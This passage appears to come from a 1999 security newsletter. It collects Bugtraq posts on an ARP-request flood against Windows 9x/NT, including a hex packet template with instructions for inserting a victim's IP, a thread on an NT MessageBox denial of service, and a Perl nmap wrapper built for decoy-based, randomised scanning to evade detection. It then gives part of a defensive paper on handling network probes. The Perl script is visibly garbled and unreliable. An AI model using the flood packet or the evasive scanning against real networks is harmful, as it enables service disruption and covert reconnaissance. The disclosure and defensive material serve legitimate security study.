Hardware Address: Length: 6
Protocol Address: Length: 4
Operations: ARP Request
Source Hardware Address: XX-XX-XX-XX-XX-XX
IP Source Address:
Destination Hardware Address: XX-XX-XX-XX-XX-XX
IP Destination Address:
And in HEX the packet look like this:
ff ff ff ff ff ff 00 00 00 00 00 00 08 06 08 00 06 04 00 01 00 00 00
00 00 00 XX XX XX XX 00 00 00 00 00 00 XX XX XX XX
(XX is what matters here)
Hope a patch for this problem will be developed fast, cause this is a
big problem for my school and probably also to others.
I'm not a C programmer, and don't know how to write an exploit for
this problem. So, if anyone else can develope an exploit, feel free to do so.
Joel Jacobson.
----------------------------------------------------------------------------------
Date: Tue, 13 Apr 1999 11:44:12 +0200
From: Joel Jacobson
To: BUGTRAQ@netspace.org
Subject: Answer to some questions I got about the ARP "bug"
Hi.
In the message I sent to BugTraq, XX XX XX XX is the victim's IP
Address, in HEX.
Example:
If you want to flood IP 192.168.0.1 at your network you would enter
this hex value: C0 A8 00 01
(I tought this was obvious)
Regards, Joel.
----------------------------------------------------------------------------------
Date: Tue, 13 Apr 1999 11:55:01 +0200
From: Joel Jacobson
To: BUGTRAQ@netspace.org
Subject: Re: ARP problem in Windows9X/NT
Parts/Attachments:
1 Shown 20 lines Text (charset: ISO-8859-1)
2 OK 202 bytes Application
----------------------------------------
[ The following text is in the "ISO-8859-1" character set. ]
[ Your display is set for the "US-ASCII" character set. ]
[ Some characters may be displayed incorrectly. ]
Hello Gandalf,
måndag, 12 april 1999, you wrote:
gpc> Perhaps I am doing it wrong, but sending out arp requests like this only
gpc> generates a single messagebox. If you send one or a million requests in
gpc> the time it takes to click ok, no new messageboxes will appear.
gpc> This is on NT4 sp4.
Okey. Well, I tested this on a friend that run NT, don't know if he
has sp4 installed or not. But still, the problems exist in Windows98,
and if Microsoft has developed a fix for NT, why can't they release
one for Windows98 too?
gpc> The packet I am sending out seems a tad different from the one listed,
gpc> the hex dump above seems to be missing the hardware address type.
I've attached an example.
This packet will attack the computer 192.168.0.1 on your network.
Best regards,
Joel mailto:joel@mobila.cx
[ Part 2, Application/OCTET-STREAM (Name: "example.cap") 270bytes. ]
[ Not Shown. Use the "V" command to view or save this part. ]
----------------------------------------------------------------------------------
Date: Tue, 13 Apr 1999 13:21:46 -0700
From: route@RESENTMENT.INFONEXUS.COM
To: BUGTRAQ@netspace.org
Subject: Re: ARP problem in Windows9X/NT
[gandalf@pobox.com wrote]
|
| Unfortunetly i don't have a 98 to test on, or an non sp4 NT machines. For
I do. It works against Windows 98.
| BTW, this is all from linux 2.2.5.
I've tried it from OpenBSD 2.4, FreeBSD 3.1 and Linux 2.2.x.
--
I live a world of paradox... My willingness to destroy is your chance for
improvement, my hate is your faith -- my failure is your victory, a victory
that won't last.
----------------------------------------------------------------------------------
Date: Tue, 13 Apr 1999 15:49:22 -0400
From: Alan DeKok
To: BUGTRAQ@netspace.org
Subject: Re: ARP problem in Windows9X/NT
route@RESENTMENT.INFONEXUS.COM wrote:
> Didn't test your code. Rolled my from the same libnet example, and it
> does work against NT and 95/98.
I tested yours against a number of machines at work. Summary:
NT4 sp3 displays one requestor. While it's on-screen, any
additional ARP packets are ignored. Clicking 'OK', and then sending
more packets results in another requestor.
95/98 displays one requestor per packet.
Alan DeKok.
----------------------------------------------------------------------------------
Date: Tue, 13 Apr 1999 11:07:53 -0400
From: gandalf@POBOX.COM
To: BUGTRAQ@netspace.org
Subject: Re: ARP problem in Windows9X/NT
On Tue, 13 Apr 1999 route@RESENTMENT.INFONEXUS.COM wrote:
> [kay wrote]
> | I started writing that proggie with plain syscalls, but it would only run
> | on Linux, so I modified one of the examples in Route's Libnet 0.9 to do
> | the stuff. I haven't tested it yes since I don't have LAN at home...
>
> Didn't test your code. Rolled my from the same libnet example, and it
> does work against NT and 95/98.
Your code, humerously enough, was almost exactly the same as mine, I was
even using libnet. However neither your code nor mine causes more than
one messagebox to appear on my NT4 sp4 machine.
I actually tried this a month or two ago, and gave up since it seemed to
have no effect on NT, I swear at the time I tested 95 and 98 too. Looking
at it again, both your code and mine _do_ have the multi-messagebox effect
on a 95B machine,
Unfortunetly i don't have a 98 to test on, or an non sp4 NT machines. For
those who have gotten it to work on NT, what sp level was NT at?
BTW, this is all from linux 2.2.5.
-chris
_______________________________________________________
Christopher Rogers Stevens Institute of Technology
gandalf@pobox.com http://www.pobox.com/~gandalf
If at first you do succeed, try to hide your astonishment.
@HWA
30.0 NT Message box DoS
~~~~~~~~~~~~~~~~~~
Date: Sun, 11 Apr 1999 22:50:25 +0200
Reply-To: chefren
Sender: Windows NT BugTraq Mailing List
From: chefren
Subject: Death by MessageBox
In-Reply-To: <3710D929.D6E46401@DDS.NL>
..
> -------- Original Message --------
> "NT hangs when several threads are calling MessageBox"
>
> Date: Fri, 9 Apr 1999 13:23:45 -0400
> From: "Sumner, Jeff"
> Organization: OARnet
> Newsgroups: microsoft.public.win32.programmer.kernel
>
> Hello,
>
> We have a server app that has several clients attached to it. When
> certain conditions happen on a client, the server app spawns a new
> thread that simply calls MessageBox. The thread is created so the main
> server thread can still be processing when the message box is displayed.
> We have found that when 16 of these threads are created, NT pretty much
> hangs until a few of the message boxes are closed.
>
> I have written a test program to recreate this, and have noticed the
> exact same behavior. The test program is a console app that takes an
> integer parameter for the number of message boxes to pop up. I ran this
> test app while I have the NT performance monitor up. Any number up to
> 15 works fine, but as soon as I specify 16 or higher, the task manager
> stops dead cold until a couple of the message boxes (and subsequent
> threads) are closed. The code for the test program is less than 3K, so
> I've included it here.
>
> <>
> I have figured something out since I posted the message. The
> MB_SERVICE_NOTIFICATION flag given to MessageBox is causing the problem.
> This flag allows an NT service to display a message box, regardless of
> who is logged in. The box will still display even if nobody is logged
> in. However, NT does not like the 16th box at all.
>
> If I take this flag out, then each message box is created with its own
> window, and each one appears in the task bar, but only if the "Allow
> Service to Interact with Desktop" option is enabled for the service
> under Control Panel | Services. In this case, NT performs fine when
> more than 15 message boxes are specified, but no message boxes will be
> displayed if nobody is logged in.
>
> So, to make the long story short, I am thinking that there is a bug in
> NT that causes windows messages to not be processed correctly when
> MB_SERVICE_NOTIFICATION is used and the 16th window is popped up.
>
> Another thing we have tried is scrapping the multithreading and
> MessageBox altogether and just making a system call to execute "net send
> ", which causes the message to pop up in a window
> on the specified machine (as long as the NT Messenger service is
> running). The drawback to this is that it appears that the messenger
> service only accepts 6 messages at a time. All others get dropped on
> the floor until one or more of the first 6 are closed.
>
> Does anybody have any insights? They would be greatly appreciated.
>
> Thanks for your time.
>
> Jeff Sumner
> BASSpoiNT Development
> BASS, Inc.
> sumner@bassinc.com
We "tested" it and it "works"...
+++chefren
--------------------------------------------------------------------------------
Date: Mon, 12 Apr 1999 13:08:55 +0200
Reply-To: chefren
Sender: Windows NT BugTraq Mailing List
From: chefren
Subject: Re: Death by MessageBox
Comments: cc: oded horovitz
In-Reply-To: <000A01BE84B8$40691530$26D873C0@ODED.MUCOM.CO.IL>
On 12 Apr 99, at 10:44, oded horovitz wrote:
> Hi, I think i know the solution to your problem :)
>
> cuze you didn't gave the source for your problem i can
> only guess your problem.
>
> check this key :
> HKLM\SYSTEM\CurrentControlSet\Control\Session
> Manager\SubSystems\Windows
> the default data for this key :
> %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows
> SharedSection=1024,3072,1024 Windows=On
> SubSystemType=Windows ServerDll=basesrv,1
> ServerDll=winsrv:UserServerDllInitialization,3
> ServerDll=winsrv:ConServerDllInitialization,2
> ProfileControl=Off MaxRequestThreads=16
>
> so i guess that if u change this value it may solve your
> problem. if it do works, notify me please and you can
> post it to bugtraq. hope it helps
> Oded h.
We checked this obscure and largely invisible[0] part of the registry...
Indeed, if you set MaxRequestThreads=5 the system halts at 5 messageboxes.
It's an ajustable
bug...
We didn't distribute the source or the .exe intentionally...
+++chefren
[0] I have a dual 1280x1024 desktop and just found a minor bug in regedit.exe.
Even with such a wide desktop I cannot oversee the data of the above key, only about
216 (strange number, I counted just once...) characters appear while I have enough
space on my desktop. Double clicking on the separation mark in the header of the
registry editor automatically adjusts the column size as expected but not to the
right size but this strange 216 size. Manually widening doesn't show any more.
@HWA
31.0 nmap wrapper for stealthier scans + enhanced logging capabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Date: Mon, 12 Apr 1999 12:43:55 -0500
From: HD Moore
To: nmap-hackers@insecure.org
Subject: nwrap -- nmap stealth wrapper
Parts/Attachments:
1 Shown 34 lines Text
2 Shown 171 lines Text
----------------------------------------
I started working on some scripts to 'wrap' nmap and allow for
stealthier scanning routines. The goals for this script include:
Creating a host/port table and then randomizing it.
Scanning each host/port combination in a random sequence.
Easy creation of decoy addresses.
Parallel scanning with child process management.
Consolidation of log files into a nlog-style db or MySQL.
There are still a number of issues I am working on, if you have any
suggestions/complaints email me:
Delay between scans should be a random number within a user-defined range.
Decoy addresses should remain the same during each scan to eliminate chance
of detection by coordinating traffic logs from each scanned host and finding
the real address in each.
Log file consolidation (maybe use -m - and read it all from an open pipe?)
Better option set for the nwrap script.
Attached is the protoype perl script, I wanted to get some feedback
about what stealth options/techniques people wanted to see implemented
in a nmap wrapper script.
-HD aka spinux
http://nlog.ings.com
http://www.trinux.org
[ Part 2: "Attached Text" ]
#!/usr/bin/perl
use Getopt::Long;
sub exitclean {
my ($msg) = @_;
print "$msg\n";
exit 2;
}
$SIG{INT}=\&sig_catch;
&GetOptions("debug", \$OPTdebug,
"p:s", \$OPTports,
"i:s", \$OPTinput);
open (INPUT,"<".$OPTINPUT) || $!"); @TARGETS="();
close(INPUT) || debugprint("close() failed on INPUT: $!");
# create a host/port list and shuffle it
@targets = shuffle(\@targets);
@ports = parse_ports($OPTports);
@ports = shuffle(\@ports);
foreach $host (@targets)
{
chomp($host);
@ports = shuffle(\@ports);
foreach $port (@ports)
{
push @output, "$host $port";
}
}
@output = shuffle(\@output);
# now do something with that host/port list
foreach $out (@output)
{
($nmaptarget,$nmapport) = split(/\s+/,$out);
$logfile = "$nmaptarget.$nmapport.log";
print "Scanning port $nmapport on $nmaptarget...\n";
system ("nmap -sS -m $logfile -P0 $nmaptarget -p$nmapport -D" . rdecoys(getpppip()))
|| print "Could not launch nmap: $!\n";
}
exit(0);
#
# Functions
#
sub getpppip {
my $DATA=`ifconfig | grep P-t-P | awk \'\{ print \$2 \}\'`;
my $crap;
my $ip;
chomp($DATA);
($crap,$ip) = split(/\:/,$DATA);
return $ip;
}
sub rdecoys {
my ($ip) = @_;
my @octets = split(/\./,$ip);
my $count;
my @decoys = ();
my $decoy;
my $output;
for ($count = 0; $count 1)
{
if ($range[0] > $range[1] || $range[0] 65535 || $range[1] 65535)
{
print "Your range of $range[0] -> $range[1] is invalid!\n";
exit(1);
}
for ($i = $range[0]; $i 0 && $i Html Version
(71k/89k)
How to Handle and Identify
Network Probes
"What to do when your DNS server gets FIN-SYN
scanned from Russia at 4:00 in the morning."
By Ron Gula
April 1999
rgula@network-defense.com
http://www.network-defense.com
Copyright 1999 Network Defense Consulting
Abstract
Do you know what to do when suspicious network probes are detected on
your network? It's surprising, but many people do not follow common
sense and simple logic when analyzing malicious network activity. Even
worse, when contacting other organizations to complain, security incidents
can be misrepresented because all of the facts are not in order, incorrect or
even erroneous theories. This paper details a variety of steps that you can
take to get the most effectiveness and accuracy from your intrusion
detection system. It also concentrates on determining the who, what, why,
where, when and how of any network security event so that you can
accurately relay this information to others.
Introduction
This paper is loosely organized into a list of rules that can be applied to your network operation in the event
of an external network scan. Each rule has several examples of what can go wrong and what can go right
for a given situation. The rules are also in the order they should be applied in a network security situation.
The last section discusses how to handle internal security events at a high level. Please use this paper as a
guide. Think about it and what it means for your particular network. It may make the difference between
deterring a network attack and having to respond to a network compromise.
Rule #1: Don't Panic
It's 2:00 AM. You are in a deep sleep when suddenly the phone comes to life. Speaking to you is a late shift
network operator who is frantically describing a list of ISS RealSecure events. The operator also describes
that the firewalls are also going crazy and two NT machines just mysteriously rebooted. The VP of
Operations has been notified and she is on her way in. What do you do?
Even though network security events are reported in the media and they are a very serious threat, they are
not likely to occur to you on a daily basis. (If they are occurring to you on a daily basis you must be pretty
good at dealing with them by now and probably don't need this paper.) Most network organizations that
suffer multiple attacks and probes experience them in groups. They are not sporadic events.
With this in mind we can roughly classify network probes into two categories. First, the security event
could actually be the result of a non-security event. This is known as a 'false positive'. In this case there is
nothing to worry about. Second, the security event could be a probe that tested your site for something.
Tests could include determining the type of operating system of a server or even sweeping the network for
open ports. If the probe turns up negative, there is a good chance that 'they' won't be coming back. With this
situation, there is also little to worry about. At your leisure, you can pursue those responsible for the probe.
If the probe seems to have found something that is vulnerable, then you may have returning visitors.
Regardless of the outcome of the probe, it requires careful analysis and some judgement calls to determine
its nature. That's what the rest of this paper is about.
When presented with a security event, all you really know is that further investigation is required. Knowing
that these things don't happen that often shouldn't cause you to put the analysis of the event off to long
though. Timely analysis of any security event is the key to quickly finding the real ones from the false
positives.
Panic or at least an adrenaline rush is experienced by many network administrators when security incidents
occur. Here are some rules of thumb to keep in mind when handling the situation.
Initially, only tell people about the security event on a need to know basis
Telling one person who tells another can cause any office or operations center to quickly fill with people
who are not the right ones to deal with the problem. They may also get in the way. Discretion is highly
recommended.
Watch out for overworked people
When any network event occurs, there is a tendency for normal people to rise to the challenge and work
long hours to see the event through. Security events are no different. If an event occurs at the end of a
normal duty day or a shift, people working extra hours may suffer from fatigue, irritability and hunger. All
of these can impair the judgement of any human. It may also endanger them for their ride home. Latter on
we discuss the importance of documentation. Documentation and tracking of a security event can make
change over between employees much easier.
Don't let people jump to conclusions
During high pressure situations, some people may feel the need to blame others in an attempt to find
answers. It's important to downplay any of these comments until all of the facts are considered.
Get second opinions on 'rash' decisions
When conducting a security investigation, it is very important to get input from peers and even
management about your current theories and plans. For example, it may seem like a good idea to take the
corporate web server offline for analysis, but a second opinion might ask you to stand up a replacement. If
probes are occurring in real time, it is also temping to take certain courses of action such as 'hack backs',
setting up of honey-pots or even trying to slow the scanning down. All of these actions may have
unintended repercussions on your company or network.
Focus on any obvious explanations
It may not seem obvious, but suspicious activity can be explained away most of the time with normal
network events. Consider recent network changes or scheduled network testing when analyzing a security
event.
Like it or not, as the network security guru you are also in a position of leadership during security events. If
you are not sure of yourself, panicked or exhibiting a high level of stress, these traits can easily spread to
other people. In ideal situations, the network security staff (if there are more than one of you) is regularly
involved in network operations. Knowing your coworkers and making sure that they know you will reduce
stress and panic during security events.
"Don't worry", you say to the late shift operator, "I will dial in and check the logs. Tell Beth I'll give her an
initial status report in about fifteen minutes. If it looks bad, I'll be coming in."
Rule #2: Document Activity
It's Monday morning and you receive a call from the Vice President of Information Security. He wants to
know how many network probes we have received over the last three months and if any of them came from
our competitors. What would you tell him?
When any network security event occurs, you should document it. It doesn't matter how you record the
information as long as it is secure, accurate and can be stored for some time. I like to keep a log book, but
log books can be lost. Some network shops record suspicious logs directly to CD-ROM. More and more
network shops are using ticketing systems to track security events. These have the advantage of existing in
a database which can easily be searched for event correlation. You need a solution which is right for you.
Why document? There are several reasons:
People forget, even security gurus
Having a physical record of security events from days gone past is an immense help when analyzing
security events of today and tomorrow. Being able to answer questions like, "Has this IP address ever
scanned us before?", or "How many other IMAP probes have we had this year?" can only be answered by
reviewing historical logs.
Security systems may not keep logs forever
Some security programs do not keep logs forever. They delete old logs to make room for new ones. If you
have a system such as this, then those security events from last month might not be in your security system
any more. Keeping logs separate from the production systems ensures a greater level of data protection
also. What happens if you have a hard drive crash? Many security systems do not use back-ups for data
integrity.
It might be evidence in court
If you keep good logs (and good is subject to lawyer's interpretation) then those logs may be used as
evidence in a court case. It is very important to keep a 'chain of evidence' with any log system. This means
you need to have proper access control on the log information. If the security or integrity of the log can be
questioned, then the log may not be admissible in court. Paper print outs and CD-ROMs tend to be more
believable than electronic media. Even logging of DNS names instead of IP addresses may be an issue,
since DNS name resolution can be corrupted.
It helps you sell security
If you are like most companies, network security is viewed as an important but expensive thing. Firewalls,
intrusion detection systems and conferences to Black-Hat are all expensive. Keeping logs can help show
management that there is indeed a threat and they are getting their money's worth from you and the fancy
security equipment.
Final thoughts:
During the heat of the moment is when it is most important to write down or record any information about
a security event. Don't forget to record the people involved, their phone numbers and what they have said.
Recording all of the information allows for more efficient processing of the data once it is assembled
together.
Later on, when things are less hectic, it is good practice to write up the security event in a one or two page
paper. Sharing this paper with any lessons learned can have a very positive effect on your entire network
staff. Keeping records of these reports can also help you and possibly your successor.
"I can have a report for you this afternoon," you tell the VP of Information Security. After hanging up, you
leave your Quake 2 session and start to work on the report. You utilize the last three monthly security
incident reports and look at some of the more interesting recorded logs from those events. You conclude
that your network was probed four times, all from Asian IP domains, but never from your competitor's
address space. You deliver the report to the VP and emphasize where the information came from and how
the security staff is responsible for maintaining it.
Rule #3: Identify Activity
While looking at the intrusion detection logs, you observe a variety of TCP packets going only to your DNS
servers. The TCP FIN and SYN flags are set in each packet. The destination ports for the packets are ports
0, 21, 143 and 2049. None of those ports are active. What is going on?
Depending on the situation and the available information, it can be very difficult to get a clear picture of all
aspects to a security event or network probe. Distinct events may not seem related until another piece of the
puzzle is added for clarity. Attempting to answer the basic questions of who, what, why, when and where is
a good place to start and can provide you with a framework to paint a picture of what has transpired.
WHO?
If this is a network security event, then you are probably obtaining network data from an intrusion detection
system, a firewall or some other network element. In most cases you know the source and destination IP
addresses involved. This is the 'who' and there are a wide variety of tools that can be used to glean
information about the owners of the addresses.
nslookup
This tool is available on NT and UNIX. The command can convert IP addresses to DNS names and vice
versa. It is usually a good place to start to get some quick information about a suspicious IP address. Some
care should be taken though. DNS information can be spoofed. One of the neatest hacks is to modify DNS
answers to throw network security investigators off of your trail. DNS queries may also be observed by the
network attacker. This may alert them that their scanning has been discovered. Many ISPs have taken to
naming their dial-up PPP or SLIP addresses with the word 'dial', 'ppp', 'modem' or 'slip'. If you see these,
there is a good chance that the source of the scan is a modem user. Similar assumptions can be made for
'home.com' names in which those IP addresses are assigned to cable modems. Consider obtaining a shell
account well away from your corporate network to conduct DNS lookups. This may not alert the scanner
that you have detected their activity.
whois
Once you have a DNS name, you can query the 'whois' database to find out contact information for that
domain. When domains are registered, they usually require some sort of contact information to include a
phone number, an email address and a name. Don't underestimate that the name in the whois database could
be the fellow doing the scanning. It's unlikely, but it has been known to happen. There are a variety of web
interfaces to the whois database and UNIX clients have a built in whois command. Here is example whois
output for network-defense.com :
[root@gigan /root]# whois network-defense.com
[rs.internic.net]
Registrant:
Company Name (NETWORK-DEFENSE-DOM)
9305 Sun Down Pl
Nowhere, MD 21047
US
Domain Name: NETWORK-DEFENSE.COM
Administrative Contact, Technical Contact, Zone Contact:
Gula, Ron (RG15449) rjgula@HOME.COM
410-212-9898
Billing Contact:
Gula, Ron (RG15449) rjgula@HOME.COM
410-212-9898
Record last updated on 24-Nov-98.
Record created on 24-Nov-98.
Database last updated on 7-Apr-99 12:28:52 EDT.
Domain servers in listed order:
NS.AUTONO.NET 209.48.2.11
NS10.AUTONO.NET 206.86.247.30
It can be seen here that there is a lot of information that can be used for documentation and contact
purposes. There is a home address in case you want to launch Tomahawk missiles, a telephone number for
voice contact, an email address and which DNS servers 'take care of' the queried domain.
arin
The ARIN database is publicly available at http://www.arin.net/whois/arinwhois.html and allows us to find
out the owners of a particular IP address. When DNS has not offered us an answer to what we are looking
for, doing a reverse IP lookup can still tell us something. Here is an example ARIN search output for
24.3.17.92 which is a home.com IP address:
@Home Network (NETBLK-ATHOME)
ATHOME 24.0.0.0 - 24.7.255.255
@Home Network (NETBLK-MD-COMCAST-HWRD-1)
MD-COMCAST-HWRD-1 24.3.16.0 - 24.3.23.255
This query provides us with some interesting information. First, we know that the IP address is part of the
home.com (@Home) ISP. A lot of hackers get cable modems. A lot of hackers hack people with cable
modems. The second pieces of information tells us that @Home is using the Comcast Cable company for
local access. One could even venture a bet that the 'MD' referred to Maryland and the 'HWRD' referred to
Howard county. It's dangerous to assume things like this, but in some cases it makes sense. For instance,
not every net block that has a 'TX' in it is from Texas. Use good judgement.
The Web
If you know the IP address of a network probe source, you may want to try to look for web servers on that
network. An easy way to do this is through guess work. Lets say a target's DNS name resolves to
name1.place.com for an example. Attempting to go to the web server at www.place.com may provide you
with the network's public web server. In some cases, using a tool such as nmap to scan a class C network
for any web server can be fruitful. This should only be done as a last resort. In ISP networks, scanning a
class C network may not bring you any closer to information about the scanner as you connect with one
unrelated user's web page after another. The goal here of course is to discover some sort of contact for you
to voice your distress over the network scanning.
It is also very important to understand exactly 'who' locally is involved in the scanning. Recording IP
addresses is not enough. What is the second level relationship between them. Is this a sequential scan? Are
these systems mail systems? Do they run IRC daemons? Are they all DNS servers? You get the picture.
Figuring this out may allow you to understand what drew the network scanners to your network in the first
place.
WHAT?
Determining what a network scanner is probing for can be a very difficult activity. I offer some general
guidelines to analyze suspicious activity, but no one can be certain exactly what the intention of a particular
scan is without asking the person doing the scanning. More importantly, we discuss a variety of scanning
techniques and the type of information that the scan returns. Using this to analyze activity on your network
can be interesting. We do not consider techniques for direct vulnerability probing because this is a very
cumbersome topic and a lot has been written about it already.
Topology Mapping
Much suspicious network activity concerns discovery of target network and systems by malicious
individuals. Sophisticated attempts exist that can map out a network. Attackers equipped with knowledge
of a network's hierarchy can plan effective attacks. Here are some common and not so common topology
scanning techniques that you may observer on your networks.
ICMP Sweeps
ICMP packets may be used to determine if a target IP address is alive or not. Typically, a scanning
program may send an ICMP ECHO REQUEST packet and anticipate an ICMP ECHO
RESPONSE. When multiple hosts are queried this way it is better know as a 'ping sweep'. If the
host isn't there, there is no response. Firewalls and routers can be used to block this sort of traffic.
This scanning can be directed at one host, or many. It can also be spread out over time such that a
target network may not become alarmed that it is being scanned.
More advanced ICMP scanning techniques make use of non-ECHO ICMP protocols. There are a
wide variety of ICMP protocols besides ECHO. These include support to request timestamp and
netmask information. Many firewall and packet filter designers forget to block all ICMP traffic
and only filter ECHO traffic. In this case, making non-ECHO requests is still a valid form of host
identification.
The ICMP protocol can also be used with broadcast addresses. Typically associated with ICMP
denial of service attacks, ICMP broadcast packets may be able to map out large portions of a
network with one packet.
TCP/UDP Sweeps
Most people associate TCP and UDP scanning with determining which ports are available on a
particular network server. The reality is that responses from any port may indicate that an IP
address is active. Sending a UDP or TCP packet to a high port and receiving a response is a good
indication that something is there. Exactly what comes back depends on the target operating
system, the packet sent and any firewalls or packet filters.
TCP packets have flags that indicate which part of a TCP conversation they are in. Typically, TCP
sessions start with a SYN packet from a client to a server. This is followed by a SYN-ACK packet
from the server to the client if the target service (or port) is active. If it isn't, then the server
responds with a RESET packet. Both the SYN-ACK and the RESET packets can be used to
identify active IP addresses by network scanners. It should be noted that some firewalls can spoof
a RESET packet from an IP address, so that technique may not be that reliable.
UDP scanning is tougher to do than TCP for a variety of reasons. First, UDP packets can be
dropped by routers as they cross the Internet. This is true! Try it for yourself! (Use a program to
send UDP packets across the net and see how many actually get there). Second, many UDP
services don't respond when correctly probed. It's the response of an ICMP PORT
UNREACHABLE message that identifies a UDP port that is not active. Considering that UDP
packets may be dropped and firewalls may also be configured to drop them, UDP scanning may
seem very unreliable. UDP scanning does have an advantage of being able to make use of IP
broadcast addresses. A network that allows UDP packets could be mapped by sending a packet to
the broadcast address on a high port. If the port were not filtered, then the scanning node would
receive ICMP PORT UNREACHABLE messages from many target networks systems.
SNMP Scanning
The Simple Network Management Protocol (SNMP) is used and supported by a wide variety of
network elements and network management software. Modern hubs, switches and routers all
support SNMP. Many servers such as Solaris and Windows NT also have SNMP functionality.
SNMP has several versions, the most common of which is version 1. Security in version 1 is
handled by a clear text community string that functions as a password. Any SNMP packet must
have the proper community string. Without it, the packet is rejected.
The problem with SNMP is that all network vendors ship their products with default community
strings of 'public'. Any scanner that has access to SNMP enabled network nodes simply uses the
'public' community string and starts to send queries. Data obtained over SNMP can completely
diagram a network and include other information such as CPU type, firewall rule configurations
and even web server performance. Tools exist that help attackers brute force community strings.
Obtaining Router Configurations
Another way to map a network is to get a copy of some router configuration files. With enough
different router configurations, a network scanner can map your network without sending any
packet probes. I've even been on some penetration tests where a network organization has
published there router configurations publicly on a web server! This information should be
protected.
Many routers and network elements such as hubs and switches also have vendor passwords that
are used for diagnostics and maintenance. These passwords are well known to network crackers
and can easily be used to obtain configurations, which in turn can be used to map a network.
Some routing protocols allow for polling of route information. RIP is a classic example of this.
With RIP, any client can query another network device to obtain the routing table.
Time To Live
Almost every one has used the 'traceroute' program. This program discovers the number of hops
between IP addresses. It does this though the use of the IP time-to-live value. Every time a packet
is routed, this value decrements by one. When the value is zero, the packet is discarded and an
ICMP error message is returned to the sending IP address. The TTL prevents packets that are
misrouted from floating around on the Internet forever. By purposely sending out packets with low
TTL values and watching for the ICMP error messages, automated programs can be used to
discover how many hops (routers) there are between them and a particular IP address.
When attempting to map the topology of a remote network, combinations of traceroute attempts
can provide a good picture of how the network is put together. Attackers can use this information
to find sub-networks that may be weekly defended and possibly exploit trust relationships.
Scanning with non-standard IP Protocols
Another technique to map out a network and identify live hosts is to send IP packets to target
networks that are non-standard protocols. Lets assume that the 'standard' IP protocols are
ICMP(1), TCP(6) and UDP(17). Most firewalls and packet filters designers tend to focus on these
protocols when designing firewall rules. They may inadvertently allow traffic from other
protocols. If so, then a network scanner may be able to illicit a response from a target IP address
by sending in this sort of traffic. The response will most likely be an ICMP PROTOCOL
UNREACHABLE message. Some of these protocols may also be sent to the broadcast address.
Multicast Packets
The last example of scanning to discover a target network's topology is by exploiting multicast
packets. Multicast IP addresses have been set aside by the Internet community and are handled
different by routers and servers. With multicast packets, one IP address can theoretically send the
same packet to many other IP addresses. If a network scanner is 'upstream' from you, they may be
able to send multicast packets into your network for mapping purposes. Being 'upstream' is
required so the scanner can correctly spoof multicast packets only to your network. Some packet
filters and servers ship with multicast functionality enabled. This can be exploited by remote
network scanners to discover live hosts.
Remote Operating System Identification
Another piece of information that network probes attempt to discern is the type of operating system of a
given IP address. There are a variety of methods that exist to do this and we discuss them here. These scan
techniques are very popular in the hacker community.
Banner Grabbing
If a system is not secured behind a firewall or through disabling of network resources, then most
services can be used to identify an operating system. The TELNET banner is a classic example of
this. Almost all TELNET banners have a very distinct look about them and actually say what the
operating system is. Other services such as mail transfer agents can identify the operating system
too.
DNS names
If you observe many DNS queries, a remote network scanner may gain knowledge of your
operating systems if you've named them descriptively. Many DNS schemes include the operating
system. Examples such as 'node123-w95.example.com' and 'nt4-102.example.com' could name
Windows 95 and Windows NT systems.
TCP Trickery
A technique that uses distinct variations in TCP stack implementations to determine the type of
remote operating system is known as TCP fingerprinting. The basic concept of this probe is to
send specific TCP packets to an IP address and observer the responses. The TCP traffic sent is a
rather odd combination of destination ports and flag combinations. TCP responses are also
considered and these include sequence number randomness and initial window sizes. There are
probably other techniques. Several tools exist such as Queso and Nmap that have a large database
of responses to these odd TCP probes and can reliably identify servers and network elements.
Some of the more common techniques you may see are TCP probes that have the FIN and SYN
bits set. This combination never occurs naturally. Other flag combinations used are null (no flags)
and SYN-RESET. Both of these scan types can occur naturally in a variety of network traffic such
as normal web browsing.
One of the more advanced scanning techniques I've come across is the use of a bogus 'error'
packet. The packet is TCP with a normal IP header. All of the TCP data is identical except for the
TCP flags. For example, the TCP packet could entirely consist of bytes with the value of '0x4e'.
This would correspond to a source and destination port of 20046. But for the TCP flags, the
correct bit values for a FIN-SYN or a SYN-RESET would be used. If the packet is recorded, it
may look like an error packet and be ignored by a network analyst. But it could be performing
remote operating system identification.
Standard services
When trying to identify a particular remote operating system, another technique used is to probe
for specific combinations of ports. These port combinations can reliably identify the target
platform. Testing for DNS or SMTP services are not distinct enough for scanners to test for
because they are very common. However testing for servers that have IMAP(143) and
NFSD(2049) active may indicate the Linux operating system. Solaris servers have a variety of
RPC services that are enabled by default. The same goes for HP-UX and SGI. Network scanners
who know these combinations can identify target systems this way.
Peculiar Behavior
Some network nodes may exhibit very odd or strange protocol behaviors. This can best be
illustrated with an example. Cisco routers communicate with each other on port 1999. During the
three way TCP handshake, the Cisco router will identify itself by placing the word 'cisco' in the
data portion of the SYN-ACK packet. This is a very trivial way to identify Cisco routers.
Knowledge of this type of behavior can help discreetly identify remote systems.
Port Scanning Techniques
Many network probes are attempts to discover active services on a network or on a particular server.
Typically, these scans are automated and connect with ranges of ports on a particular IP address. They then
report the ports that were open or active. Network attackers can then select exploits based on the active
ports found. Here are some different port scanning techniques that you may encounter when analyzing
network probes.
Slow Scanning
Since typical port scans can show up in system logs (Sendmail, TCP wrappers, Klaxon, etc. ) ,
network scanners can simply spread out the scan over a long period of time. Determining if a
single packet is part of a larger port scan is very difficult if the other packets aren't there.
Depending on the level of network activity, it may be possible to avoid detection simply by
delaying scan packets for one minute.
Random Scanning
Again, another way to avoid port scan detection is to randomize the order in which the ports are
tested for. Many commercial IDS products and firewalls watch for sequential connection attempts.
They may have a threshold of common sequential destination ports and when this threshold is
crossed, a port scan is reported. Randomizing the port testing avoids exceeding the sequential
destination port threshold.
SYN Scans
A SYN scan is yet another attempt to bypass system level port scan detection. On most systems, a
network connection is only recorded if the TCP three way handshake is completed. SYN scans
send a single SYN packet to the destination port and then wait to see the response. If it is a RESET
packet then the port is dead and no further action is taken. If the response is a SYN-ACK packet,
then a RESET packet is sent back to the target that disengages the three way handshake.
Sometimes this RESET packet is generated by the SYN scan program and other times it is
generated directly by a response from the scanning operating system's IP stack.
Spoofed SYN scan
A trivial modification to the SYN scanning technique is to completely spoof the SYN packet from
another IP address on the scanner's network. The spoofed IP address has to be one in which the
return traffic from the server will flow past the scanner. It sniffs the network traffic to discover
which ports are active. If a scanner is 'upstream' from a spoofed IP address (for instance in a DMZ
in front of 10,000 computers) then it can be very hard to trace. The spoofed IP address can be from
